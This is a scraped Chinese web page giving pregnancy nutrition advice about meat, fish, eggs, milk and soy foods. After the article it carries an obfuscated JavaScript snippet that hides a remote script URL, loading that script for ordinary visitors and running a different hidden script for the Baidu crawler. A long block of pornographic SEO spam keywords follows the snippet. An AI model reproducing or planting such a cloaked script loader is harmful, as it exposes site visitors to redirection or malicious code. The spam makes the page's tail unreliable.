當(dāng)前位置:首頁 > 母嬰 > 懷孕知識 > 正文

女人在懷孕期吃什么最有營養(yǎng)

2017-05-05 08:43:56  來源:360常識網(wǎng)   熱度:
導(dǎo)語:所有女人到了懷孕期時都會對飲食比較重視,因?yàn)檫@不僅涉及到自身的營養(yǎng),而且還關(guān)系到胎兒的生長,然而,有很多孕婦在日常飲食方面都不大注

所有女人到了懷孕期時都會對飲食比較重視,因?yàn)檫@不僅涉及到自身的營養(yǎng),而且還關(guān)系到胎兒的生長,然而,有很多孕婦在日常飲食方面都不大注意健康,結(jié)果導(dǎo)致胎兒在出生之后就患有各種先天性疾病。因此,為了能讓胎兒健康發(fā)育,建議各位準(zhǔn)媽媽們要注意飲食營養(yǎng)。那么女人到了懷孕期間時應(yīng)該多吃什么食物呢?

一、動物性食品:盡量選擇蛋白質(zhì)含量高,脂肪含量低的品種.由于畜禽內(nèi)臟,尤其是肝臟維生素A和鐵等微量元素含量豐富,孕中期和孕晚期婦女應(yīng)多選用.禽肉脂肪含量低,肌肉細(xì)膩,蛋白質(zhì)含量豐富,雞肉燉湯味鮮美,有刺激消化液分泌的作用,適合孕婦食用. 魚類肌肉纖維細(xì)嫩,含蛋白質(zhì)豐富,脂肪以不飽和脂肪酸為主,含維生素B2,鋅,硒較豐富,尤其深海魚類脂肪中有豐富的二十二碳六烯酸(DHA),對胎兒腦和神經(jīng)發(fā)育有益,孕婦應(yīng)多食魚類. 蛋類蛋白質(zhì)中必需氨基酸的含量和組成較其他動物性食品更為理想,蛋白質(zhì)的生物價值甚高,是已知天然食物中最優(yōu)質(zhì)的蛋白質(zhì),蛋黃中還含有豐富的鈣,鐵,維生素B1和B2,故為孕婦比較理想的食物.

二、奶類食品:奶類蛋白質(zhì)主要成分酪蛋白為含磷復(fù)合蛋白質(zhì),具有足夠的必需氨基酸,也是一種完全蛋白質(zhì).奶中脂肪熔點(diǎn)低,顆粒細(xì)小,易于消化吸收;尤其是奶含鈣豐富,易吸收,是膳食中鈣的良好食物來源,為孕婦供鈣更為適宜.糧谷和蔬菜雖含有一定量的鈣,但由于同時含有植酸,磷酸,草酸和纖維素,影響鈣吸收.奶類幾乎含有一切已知的維生素,尤以維生素A和B2突出,是孕婦理想的食品,每日應(yīng)飲用250g以上.

三、大豆類食品:大豆是植物性食物中含蛋白質(zhì)量最高,質(zhì)量最佳的食物,其蛋白質(zhì)中除蛋氨酸外,其他必需氨基酸的含量可與動物性蛋白質(zhì)相媲美,尤其大豆蛋白質(zhì)的賴氨酸含量較高,與谷類同時食用可提高谷類蛋白質(zhì)的營養(yǎng)價值.大豆脂肪含有豐富的亞油酸,對防止孕婦血脂升高和胎兒生長發(fā)育皆為必需.大豆食品鈣,鐵,維生素B1及B2含量較多,且價格低廉,每日最好能攝入100g以上.有的豆制品如素雞,鹵干,腐乳,豆腐鈣含量很高,亦為鈣的良好來源,臭豆腐中還含有豐富的維生素B12百克含1.88~9.6Oug.

上文所介紹的這幾種食物含有很豐富的蛋白質(zhì),孕婦如果能夠長期食用這些食物會對身體以及胎兒帶來很多好處。此外,除了飲食之外,小編也建議大家在天氣比較好的日子里能夠到戶外做下運(yùn)動,這樣既能夠放松身心也能夠增強(qiáng)身體的抗病能力。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国产精品成久久久久三级| 久久国内精品自在自线400部o| 2021国内精品久久久久影院 | 久久综合九色综合精品| 日韩精品高清自在线| 久久国产精品无码HDAV| 久久久人妻精品无码一区| 狠狠入ady亚洲精品| 亚洲国产成人精品无码区在线网站| 国内精品综合久久久40p| 国产精品扒开做爽爽爽的视频| 2022久久国产精品免费热麻豆| 精品久久久久久国产| 亚洲精品一级无码鲁丝片| 久久久久久久精品毛万迈巴赫车标| 无码人妻精品中文字幕| 老司机成人精品视频lsj| 国产日韩精品一区二区三区| 精品久久久久久婷婷| 老司机67194精品线观看| 高清国产精品人妻一区二区 | 精品国产品香蕉在线观看75| 七次郎在线视频观看精品| 成人国产精品一区二区网站公司| 亚洲国产精品白丝在线观看| 久久久久亚洲精品美女| 国产午夜精品一区二区三区漫画| 精品99久久aaa一级毛片| 国产成人精品男人免费| MM1313亚洲国产精品| 亚洲国产精品无码中文lv| 久久精品国产免费观看| 99精品视频在线免费观看| 久久精品亚洲综合专区| 免费精品99久久国产综合精品| 国产香蕉国产精品偷在线| 精品国产一区二区22| 国产精品内射久久久久欢欢| 日本精品一区二区三区在线视频| 国产精品成人自拍| 国产精品久久现线拍久青草|